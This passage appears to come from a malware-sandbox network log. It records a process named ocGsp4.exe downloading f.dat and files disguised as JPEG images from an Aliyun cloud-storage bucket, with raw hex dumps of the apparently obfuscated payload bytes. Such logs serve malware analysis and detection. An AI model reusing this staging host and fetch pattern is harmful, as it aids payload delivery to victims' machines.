2025-01-16 02:55:19 UTC	4096	IN	Data Raw: 1e 03 74 be fe 27 01 f9 46 43 44 45 0e cc 98 01 c7 c7 68 a5 4e 4f 50 b9 f8 b3 ab aa 1e dc 1c 7d 62 13 df 9d 42 1e d8 69 62 63 64 2d ed b7 20 e2 e6 4f 7c 6c 6e 6f 98 fa 92 8c 8b 3d fd f3 5c 19 7b 7b 7c 35 f5 f3 a4 c9 83 83 84 cd 0f 8f c0 02 0e af ec 8c 8e 8f 1b 1d b6 77 94 95 96 1e d0 91 d2 10 18 b9 fe 9e a0 a1 ea 28 28 81 a6 a6 a8 a9 e2 22 e4 bd e6 24 34 95 d2 b2 b4 b5 3d 3b 9c 51 ba bb bc 34 f6 a7 88 4a 46 e7 a4 c4 c6 c7 80 42 46 ef dc cc ce cf 98 58 9a f3 9c 5e 52 f3 b8 d8 da db 94 5c 1a 87 e1 e1 e2 20 28 29 2a 2b 24 25 26 27 20 21 22 23 b8 78 be d7 fc bd 7d b3 dc f1 b2 70 fc b5 3f 1f 15 49 89 4f 20 0d 4e 8c 01 41 39 c3 44 86 cf 47 9b 5d 36 1b 5c 9c 17 5f 93 5d 3e 13 54 96 1e 57 e1 c9 01 6b af 69 02 2f 60 a2 23 63 1f e5 66 a4 f1 79 b9 7f 10 3d 7e be 39 Data Ascii: t'FCDEhNOP}bBibcd- O\|lno=\{{\|5w(("$4=;Q4JFBFX^R\ ()*+$%&' !"#x}p?IO NA9DG]6\_]>TWki/`#cfy=~9
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: 3a 5e fa b9 1a 89 40 41 42 20 82 c1 62 f0 48 49 4a 3f 8a c9 6a f7 50 51 52 3c 92 d1 72 ee 58 59 5a 29 9a d9 7a e5 60 61 62 1a a2 e1 42 dc 68 69 6a 2a aa e9 4a d3 70 71 72 73 3c f8 e2 53 d0 79 7a 7b 34 f0 73 12 25 7e 7d 6b 9c 2a 79 78 c0 00 0e af a4 8f 8e 8f d8 1c 1e b7 c4 a7 96 97 67 0d be b3 9e 9d 9e d7 2d 2d 86 ff 91 a5 a6 4f 1c a4 aa ab e4 20 22 8b d0 87 b2 b3 5c 12 bb b7 b8 f1 37 37 98 d9 89 bf c0 29 58 ce c4 c5 8e 4a 44 ed a2 f3 cc cd 26 42 dd d1 d2 9b 59 59 f2 8b ed d9 da 33 2c d4 de df 26 65 c6 63 e4 e5 e6 a0 2e 6d ce 6a ec ed ee 8a 36 75 d6 71 f4 f5 f6 83 3e 7d de 78 fc fd fe af c6 85 26 87 04 05 06 75 ce 8d 2e 8e 0c 0d 0e 60 d6 95 36 95 14 15 16 74 de 9d 3e 9c 1c 1d 1e 7a e6 a5 06 ab 24 25 26 54 ee ad 0e a2 2c 2d 2e 5c f6 b5 16 b9 34 35 36 7f fe Data Ascii: :^@AB bHIJ?jPQR<rXYZ)z`abBhijJpqrs<Syz{4s%~}kyxg--O "\77)XJD&BYY3,&ec.mj6uq>}x&u.`6t>z$%&T,-.\456
2025-01-16 02:55:19 UTC	955	IN	Data Raw: 66 1f 34 70 0d e4 0c cc 16 67 5c 09 6d 97 05 46 08 98 29 01 c5 53 75 41 52 53 54 18 6d 84 2b 4f 3c 1a dd bf 5e af 2d ec f9 63 94 9a 99 26 ae 6a 6a 26 57 be 1b 9f 3c fa 66 57 38 fe 2a 53 70 31 f9 bf 6c be b2 b3 81 86 80 83 83 84 af 87 89 80 8b 8b 85 af 8e 8f 91 9c 93 93 99 d7 96 97 99 94 9b 9b 91 5f 9e 9f a1 ab a1 a3 ae 67 a0 d7 ad c9 aa ab ad a3 af af be 13 b2 b3 b5 bb b7 b7 b6 9b ba bb bd b1 bc bf cc c0 ff c3 c5 c2 c4 c7 cf c8 dd cb cd c4 cf cf d9 13 d2 d3 d5 d1 d7 d7 dc 3b da db dd d9 df df e4 23 e2 e3 e5 ee e4 e7 e3 e8 cb eb ed ea ec ef f7 f0 a3 f3 f5 e4 f4 f7 e9 f8 df fb fd f0 ff ff 0d 63 02 03 05 02 04 07 0f 08 21 0b 0d 09 0f 0f 14 b3 12 13 15 06 17 17 0b 3b 1a 1b 1d 0e 1f 1f 33 63 22 23 25 2b 27 27 26 6b 2a 2b 2d 23 2f 2f 3e 53 32 33 35 2d 37 37 20 Data Ascii: f4pg\mF)SuARSTm+O<^-c&jj&W<fW8Sp1l_g;#c!;3c"#%+''&k+-#//>S235-77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	63349	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:21 UTC	110	OUT	GET /f.dat HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:22 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:22 GMT Content-Type: application/octet-stream Content-Length: 879 Connection: close x-oss-request-id: 6788751A3D53853538ABC163 Accept-Ranges: bytes ETag: "E54C4296F011EC91D935AA353C936E34" Last-Modified: Tue, 22 Oct 2024 18:02:54 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11142793972884948456 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5UxClvAR7JHZNao1PJNuNA== x-oss-server-time: 4
2025-01-16 02:55:22 UTC	879	IN	Data Raw: 0f 56 0e 57 66 34 65 31 31 31 31 31 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 Data Ascii: VWf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	63356	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:23 UTC	115	OUT	GET /FOM-50.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:24 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:23 GMT Content-Type: image/jpeg Content-Length: 55085 Connection: close x-oss-request-id: 6788751BE001B43934A0329F Accept-Ranges: bytes ETag: "DC44AE348E6A74B3A74871020FDFAC74" Last-Modified: Tue, 22 Oct 2024 14:47:46 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12339968747348072397 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3ESuNI5qdLOnSHECD9+sdA== x-oss-server-time: 4
2025-01-16 02:55:24 UTC	3550	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: 7c 7b dc 41 c2 74 77 75 74 73 65 91 8f 90 91 11 ee 84 95 e3 bf 11 84 3e 34 dc 9d f4 97 48 c7 b1 a3 a4 fc 59 d2 a0 41 56 56 53 52 9d 74 f3 32 cf a3 b4 c1 be dd b0 51 f7 a8 bc bd e7 7c 28 d0 d2 c3 c4 06 4d 38 9d 42 26 a1 cc a7 ce 30 a5 d9 3a 10 2a 2a 29 54 1c d5 87 18 57 22 8b 54 0c 8b e2 89 e5 1a 93 ef 00 44 14 14 13 6e 2a e3 ad 32 98 f2 9e f5 9c f7 10 64 04 04 03 7e 3a f3 c3 6b 03 69 05 6f 06 ef 86 f7 f5 f4 8f c9 02 cc 9b ee 44 fb 09 1f 16 17 93 e9 4c f3 1d 06 1e 1f 76 c9 ae 39 24 25 70 cf c4 3a 2a 2b 7a c5 5f 35 30 31 64 db 68 2f 36 37 6e d1 7e 23 3c 3d 68 d7 be 40 42 43 12 ad 48 55 48 49 22 dc 5a 0d 4e a7 3f 58 52 53 d7 91 72 f4 54 f9 1a 5b 02 9e d5 a0 35 ea 8e 32 35 36 ed 3a 60 3f 3d 58 9a 5e 91 e6 0d 8d 49 6f 89 65 d6 37 78 0d 73 3c f5 00 82 fc 7f 96 Data Ascii: \|{Atwutse>4HYAVVSRt2Q\|(M8B&0:*)TW"TDn2d~:kioDLv9$%p:*+z_501dh/67n~#<=h@BCHUHI"ZN?XRSrT[5256:`?=X^Ioe7xs<
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: 81 d9 46 b5 47 c8 2a 32 3c cc 8d d3 4c 5c f9 22 b5 d4 95 f2 68 ad 99 9a 9b 9c 16 da bb b0 28 ce 87 b4 28 ca 83 b8 82 4a f8 fa fa 0f ab 10 f1 b2 82 f1 49 85 72 e8 30 df 53 43 c8 46 34 85 3d 05 86 38 3b 39 38 37 40 8f 33 41 88 3e ab 73 d1 d2 d3 d4 16 5d 9a 28 bd 53 d6 dc dd de df b9 be bd bd bf 6e 03 ba b9 2a 26 27 20 21 22 23 3c 3d 3e 3f 38 7e 09 a2 73 15 79 17 e4 ae 75 a2 0c 57 89 70 0c 36 33 03 a8 49 0a 5c 87 0b c8 4a ef 11 d5 56 e0 14 16 17 18 94 61 0b 9f e5 e0 6b 2d aa 6c 27 27 ea 15 2b 10 c1 c9 c2 d3 d2 a5 61 3c ba 74 3b 37 fa 05 3b 00 d1 e9 d2 c3 c2 b5 7a 48 b7 02 47 22 4a c3 51 49 49 4a c0 01 5d c3 1a b8 d8 01 af df 0e 5a de 1d b1 d3 16 b0 de a5 a1 14 3e ef 2a 64 e8 62 3c e3 25 ec 7f e1 29 e8 7f f9 34 82 f8 74 fc 33 8f fd b0 0e 6f f7 aa 96 23 aa 81 Data Ascii: FG2<L\"h((JIr0SCF4=8;987@3A>s](Sn&' !"#<=>?8~syuWp63I\JVak-l''+a<t;7;zHG"JQIIJ]Z>*db<%)4t3o#
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: b4 7b f0 8e 6c 82 e3 8e 63 f7 7e 71 70 c9 52 c4 f9 94 6a a3 4b 2c d9 9a 64 89 3d 1e df a0 24 62 d6 b2 4d ab 51 57 56 21 5b 53 b8 a6 2f f0 b1 e2 5b 09 40 49 48 31 bf e3 53 aa 4d 41 40 03 4a 3d 96 4f 29 4d 92 c0 9a 9c 9c ff 32 f5 18 a4 d6 59 8e d8 ee 09 a0 c6 31 03 2e 23 22 b4 c9 be 68 d2 b4 b3 b2 b1 b0 00 8b 1f 14 13 6e 2a fb 7b 37 ad ad af a8 35 7c 8d e9 c1 0c 89 fa cd 3f 66 88 00 e8 d0 8e cc 08 bf 0f 6c 82 0d 4c 4f 49 56 77 29 d4 60 16 5d 62 f6 2a da 20 c3 68 cd 79 a9 23 ca b3 d1 da d9 4d 0a 70 a3 23 a7 dc c5 9c bb ce 67 b8 d8 63 61 04 ce c6 4f 33 d4 84 23 3f 40 ca ba 1a c1 ba 33 60 71 4c 36 fd 0c 4d 38 50 06 ae 47 1f d4 15 56 da de b1 59 5b 5c 66 5b 23 d6 21 62 15 67 e6 ae 98 e3 99 e9 93 93 18 a4 e4 b7 2e 2c 2e b7 fe 89 22 f3 95 2c 2c 4f 8b 14 7f 7f f4 Data Ascii: {lc~qpRjK,d=$bMQWV![S/[@IH1SMA@J=O)M2Y1.#"hn{75\|?flLOIVw)`]b hy#Mp#gcaO3#?@3`qL6M8PGVY[\f[#!bg.,.",,O
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: 82 84 85 0f ca 78 02 84 c2 05 c0 72 79 51 90 9d 16 47 97 96 97 cb 14 86 aa 17 8e 17 ca 54 2a f4 5f 2d f0 5e 2c fd 5d 23 f6 a0 5b 6c ae c5 c5 73 49 b0 ff 35 4d 87 cf b9 d1 83 e7 35 f4 c4 fa 89 cb b1 87 7d c7 c8 c9 4a 48 36 ed bd d6 5b 1b 01 38 59 99 d4 d3 2f 0a fb 87 64 99 20 d6 95 c2 69 ae ec c4 ff 0c f4 64 a0 0b 3f 06 63 a3 f2 f5 05 20 d5 69 4e 33 f8 f9 fa 05 f5 88 f8 74 4d 09 23 5a 00 8e 5b 0b 83 5a 02 80 57 09 85 42 ec 12 5f e7 9d 4f 12 9c 4d 15 91 41 18 96 4c 17 a9 72 2a aa 69 d9 ad f6 e9 d3 2e 61 af d7 11 59 33 5b 0d 69 bf 68 ce b4 db 38 b3 66 c8 32 bb b0 40 41 42 68 31 bd cd 1a b0 88 b1 4f 26 72 c7 3a 5c 1a 0c 68 8a 23 54 dc 86 5a 17 a3 d7 8c 9f a5 64 2b eb 2e 98 5e b0 11 6a e2 bc 50 b6 19 30 e4 3d 7d f9 02 70 4e 07 7f 0d 42 c4 7b 7c 7d fe fc 7b a1 Data Ascii: xryQGT_-^,]#[lsI5M5}JH6[8Y/d id?c iN3tM#Z[ZWB_OMALri.aY3[ih8f2@ABh1O&r:\h#TZd+.^jP0=}pNB{\|}{
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: 96 50 05 c6 87 03 51 b1 54 f9 c1 b7 b2 40 27 d2 93 e0 a6 c0 7f 0c 42 65 64 c5 18 5e 90 25 d3 5d 5c 5b 2e e3 b7 93 6e a5 2f fc 52 51 50 77 b1 be b3 b4 b5 5f f2 47 46 45 88 43 36 cb b3 aa c5 2a 87 17 3a 39 9e 0b f2 15 be c1 46 8b df eb 16 a6 d5 13 d5 da d7 d8 d9 51 18 34 28 11 20 1f 22 88 f3 8c ad 70 a7 e8 01 49 24 13 12 65 b2 f8 74 29 86 fa 0a 83 fb 10 04 07 04 03 a4 17 33 01 01 02 88 71 09 83 f1 7d 05 59 e3 2f d2 f1 f0 49 f8 a5 12 14 15 95 2a a0 ae 5a 1b 1f 12 9b 8c 21 21 22 10 db ac 5b c3 ab d7 ca 24 ab a7 2f 2f 30 5b 36 db 99 e6 c9 c8 61 b0 47 c7 6f d5 d9 d1 bf be 1b ca 01 a5 7d 80 47 cd d4 4b 4c 4d 75 7a f0 e6 12 53 23 1c 00 04 08 b1 93 a8 a3 a2 dd 9b 6c e4 a2 17 61 ec 3b 83 83 5c 3c 83 f4 9b 91 90 29 f8 37 97 4f b2 02 50 f3 3a 86 33 47 bb 0c 7d 0b 47 Data Ascii: PQT@'Bed^%]\[.n/RQPw_GFEC6:9FQ4( "pI$et)3q}Y/IZ!!"[$//0[6aGo}GKLMuzS#la;\<)7OP:3G}G
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: 8e 79 76 23 7b 77 ad 1f fb eb cd 8e 04 6f 66 4b 6c b0 18 b6 f0 d8 99 17 d2 9c 16 59 25 a3 a1 a2 a3 27 5c a2 d5 a4 2a 4a a8 87 65 51 8b 35 c5 d4 f3 b4 4a 92 3a c8 de fa bb 2c 39 d8 ff c0 69 a4 83 c4 15 a0 87 c8 43 8c c8 ef 1c 46 88 d3 52 3c d2 15 3c d4 54 37 d8 59 22 d4 af 6c 22 13 44 1e 1c c0 70 96 80 a8 e9 67 a2 ec 67 a8 ec d3 20 7a b4 f7 7f b0 f5 39 10 f8 73 bb ff 7d 11 02 82 ed 01 87 fc 0e 75 80 f4 f9 ae f0 f2 2a 9a 60 76 52 13 84 9f 50 14 3b c8 92 5c 1f 97 58 1d a8 66 20 a9 62 24 e7 ce 2a a1 6d 2a af c3 2d ac df 32 b1 ca 3c 3a b4 61 c7 c6 c5 c6 cf 98 c2 c0 64 d4 32 24 04 45 cb 0e 48 6d 2d 0b 4c 61 29 0f 50 65 35 13 54 69 31 17 58 1d 3d 1b 5c 11 39 1f 60 35 05 23 64 02 01 27 68 e2 2e e5 70 e4 2a e0 6c fa 36 fd 6c fc 32 f8 60 f2 3e f5 68 f4 3a f0 94 0a Data Ascii: yv#{wofKlY%'\JeQ5J:,9iCFR<<T7Y"l"Dpgg z9s}u`vRP;\Xf b$m-2<:ad2$EHm-La)Pe5Ti1X=\9`5#d'h.p*l6l2`>h:
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: ed e5 e7 ea e2 a8 fd e5 ab e5 e3 e7 fb f9 f0 fe fa ee f0 b6 ff fd f8 ea 96 96 9d 9e 9f a0 f3 94 93 96 92 ab ad 85 89 c4 c4 d8 8d cb c1 df c4 d5 db 94 c6 c6 d6 db dc 9a dd d3 cf 9e d3 af b6 ab ac e4 ac a8 ae bc a0 ab a7 a5 b7 af bb b9 be bc de de d5 d6 d7 d8 8b ec eb ee eb d3 d5 cd c1 8c 8c 90 c5 83 89 87 9c 8d 83 cc 9e 9e 8e 93 94 d2 95 9b 87 d6 84 8c 9d 93 94 dc 94 90 96 74 68 63 6f 6d 7f 67 73 61 66 64 06 06 0d 0e 0f 10 43 24 23 26 20 1b 1d 35 39 6a 6e 6e 78 3e 69 49 53 56 56 45 49 06 41 5d 47 49 5f 45 42 40 0f 53 50 5e 5f 39 3f 36 37 38 6b 0c 0b 0e 09 33 35 6d 61 2c 2c 30 65 23 29 27 3c 2d 23 6c 3e 3e 2e 33 34 72 35 3b 27 76 08 37 37 3f 23 35 29 71 3e 14 04 1a 0a 10 45 12 06 0a 05 0f 66 66 6d 6e 6f 70 23 44 43 45 4c 7b 7d 55 59 0f 15 1d 1f 12 1a a0 f5 Data Ascii: thcomgsafdC$#& 59jnnx>iISVVEIA]GI_EB@SP^_9?678k35ma,,0e#)'<-#l>>.34r5;'v77?#5)q>Effmnop#DCEL{}UY
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: 83 84 09 79 78 77 89 8a 8b 8c 73 71 70 6f 8a b2 d3 94 8a b6 d7 98 99 9a 9b 9c 63 61 60 5f a1 a2 a3 a4 71 59 58 57 a9 aa ab ac 53 51 50 4f b1 b2 b3 b4 01 94 f7 b8 47 45 44 43 bd be bf c0 02 e0 83 c4 3b 39 38 37 c9 ca cb cc 15 31 30 2f d1 d2 d3 d4 2b 29 28 27 d9 da db dc ab fa 9f e0 1f 1d 1c 1b e5 e6 e7 e8 6b ce ab ec 13 11 10 0f f1 f2 f3 f4 2d 09 08 07 f9 fa fb fc 03 01 00 ff fb 2a 43 04 fb 2e 47 08 09 0a 0b 0c f3 f1 f0 ef 11 12 13 14 c1 e9 e8 e7 19 1a 1b 1c e3 e1 e0 df 21 22 23 24 b2 0c 67 28 29 2a 2b 2c d3 d1 d0 cf 31 32 33 34 e1 c9 c8 c7 39 3a 3b 3c c3 c1 c0 bf 41 42 43 44 e3 6b 07 48 49 4a 4b 4c b3 b1 b0 af 51 52 53 54 8d a9 a8 a7 59 5a 5b 5c a3 a1 a0 9f 6a 4d 23 64 7a 49 27 68 69 6a 6b 6c 93 91 90 8f 71 72 73 74 b5 89 88 87 79 7a 7b 7c 83 81 80 7f 81 Data Ascii: yxwsqpoca`_qYXWSQPOGEDC;98710/+)('k-C.G!"#$g()+,12349:;<ABCDkHIJKLQRSTYZ[\jM#dzI'hijklqrstyz{\|
2025-01-16 02:55:24 UTC	4096	IN	Data Raw: ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee 95 96 97 98 99 9a da de de da da e6 e6 ea ea ee ee ea ea e6 e6 fa fa fe fe fa fa e6 e6 ea ea ee b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 6f 90 91 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	63371	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:25 UTC	115	OUT	GET /FOM-51.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:26 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:26 GMT Content-Type: image/jpeg Content-Length: 4859125 Connection: close x-oss-request-id: 6788751E716A9C303804EB64 Accept-Ranges: bytes ETag: "EE6CA3EEA7F9B1C81059AEF570A28C02" Last-Modified: Tue, 22 Oct 2024 14:48:26 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9060732723227198118 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 7myj7qf5scgQWa71cKKMAg== x-oss-server-time: 22
2025-01-16 02:55:26 UTC	3548	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: 42 cc 3b 8b 04 80 dc 85 89 f7 db 86 4b ce 35 a8 af fe 41 fa 0c 61 84 11 0a 1b 74 3d 42 1d 8b ea 87 f2 e5 bc 47 e4 9b f0 a1 6a 44 3d f7 aa 85 fc 7c 66 99 44 42 66 08 55 a3 c2 72 d1 08 6f b1 b4 88 fb 14 6d f7 a2 e6 b1 0a 4b a7 cc 8d 43 ca 42 55 ba 2d 50 3b de 75 e4 69 e5 a6 45 fe 3f 88 51 f2 8f 9a e2 49 ea ad 5a da 33 4e a3 3e d5 c6 6e c7 d1 e8 c5 06 f1 38 15 6c 30 51 e9 b2 ec bd f6 b7 43 20 6c 37 8a c5 69 36 0c 71 9e eb 37 4c 5e 64 2d ba 15 c3 be 23 92 69 e8 07 8e 31 8e 32 59 a6 f5 54 50 cc a6 0d cb 70 1b 9f a8 37 28 8e 8c a8 b6 58 2d d6 5f 3e e5 51 37 e9 fc c0 79 61 49 dc 37 0b d7 f9 38 30 21 a3 63 4a 50 26 80 0f ad 3c d1 89 c4 d8 15 09 d3 5c 40 7c a4 b7 fe fc 2d 89 04 24 ad d9 e2 58 57 f8 d2 39 21 f1 85 1f 5d ae 5b 62 f2 2d 86 49 5e 70 f6 14 48 c1 63 66 Data Ascii: B;K5Aat=BGjD=\|fDBfUromKCBU-P;uiE?QIZ3N>n8l0QC l7i6q7L^d-#i12YTPp7(X-_>Q7yaI780!cJP&<\@\|-$XW9!][b-I^pHcf
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: 55 c7 be c5 78 ee 64 cd 2e 33 d8 00 81 41 01 fc 96 f3 c2 68 5b e3 86 3a 52 14 eb 36 47 9c d8 8b 1b 75 f9 f2 3e 9e 6a 5c af ac 2d 01 59 f6 e4 ed f8 06 96 96 25 32 d9 55 c2 2b cd d9 43 84 c0 8f da 8a 2e 4e 40 af e4 ef 68 35 b1 db 47 6c 13 6a 58 3b 70 ee a1 fc f0 ea cf 6e ad 25 29 22 ee a3 88 45 8b c6 2a 08 f5 8e fe d9 90 64 31 57 f5 7b 69 f4 88 ee 13 ee 88 13 dd fe 62 86 d5 85 88 9b aa 98 eb ae 62 7e dd 59 12 19 69 99 a8 6c 0d 6f 92 a5 a3 77 6e d0 53 bb 17 f4 5f d6 e6 1f 4a cf 6d f7 92 79 05 8e d4 33 04 97 04 b6 95 73 06 7a e5 99 05 66 48 93 78 17 26 6e e6 6b 89 ba b3 4a 9a d7 ee e1 45 2d c4 d9 46 38 58 a3 e7 df cb c0 a8 8b 48 54 ab ab c9 2b 10 28 f1 1f 7e 00 6d 13 0b 8f 10 81 c8 3f 99 d0 f4 09 6e a8 37 1d 0d 72 39 87 d5 f2 12 b6 cb fa 95 c3 25 72 27 66 14 Data Ascii: Uxd.3Ah[:R6Gu>j\-Y%2U+C.N@h5GljX;pn%)"E*d1W{ibb~YilownS_Jmy3szfHx&nkJE-F8XHT+(~m?n7r9%r'f
2025-01-16 02:55:26 UTC	4096	IN	Data Raw: 45 e5 5e 68 30 58 bc f3 3c 4c f2 55 29 ac 64 46 5d 3a 9d 79 a5 77 53 ff 44 c3 e1 4a bd ab 8a bd d4 75 ea e1 2a ee 82 37 b9 6b 8b 4d 69 c9 72 b7 c8 66 c5 06 1b db fb d1 44 d1 f5 36 5b 9f 70 43 e3 b9 cc 9d 24 02 a0 15 1a ee 33 51 a6 de 11 4b 6e 87 8e 08 53 81 c7 39 1d bd 06 98 20 7a 9b 47 b4 aa c5 34 08 11 e2 e2 77 2e 0a 28 8a 33 9b 65 f3 3a 67 17 4e 17 e5 d0 55 59 0e 94 52 4b da e3 d0 7a 25 77 a6 34 0e aa 88 bd f9 1f a8 08 f8 42 83 d2 79 43 2f 04 cc aa cd fb df 7b c0 14 58 c6 51 a2 5e 37 42 12 e5 22 53 12 9f 78 be b5 39 59 c1 b2 1b 55 3b d8 b9 8f e2 36 93 6c 44 d2 80 9d 04 d2 7c 54 bb a2 23 a2 95 da 63 2d 43 a0 da 70 ab 87 c5 6b ef 95 b1 2a bd 9b 5e 30 06 ef 83 ea 01 6e 63 4c 04 68 89 7a 93 34 80 33 0b 68 86 5c 60 2f 6b 05 3f d6 5f 19 77 94 92 45 e3 e4 5c Data Ascii: E^h0X<LU)dF]:ywSDJu7kMirfD6[pC$3QKnS9 zG4w.(3e:gNUYRKz%w4ByC/{XQ^7B"Sx9YU;6lD\|T#c-Cpk^0ncLhz43h\`/k?_wE\
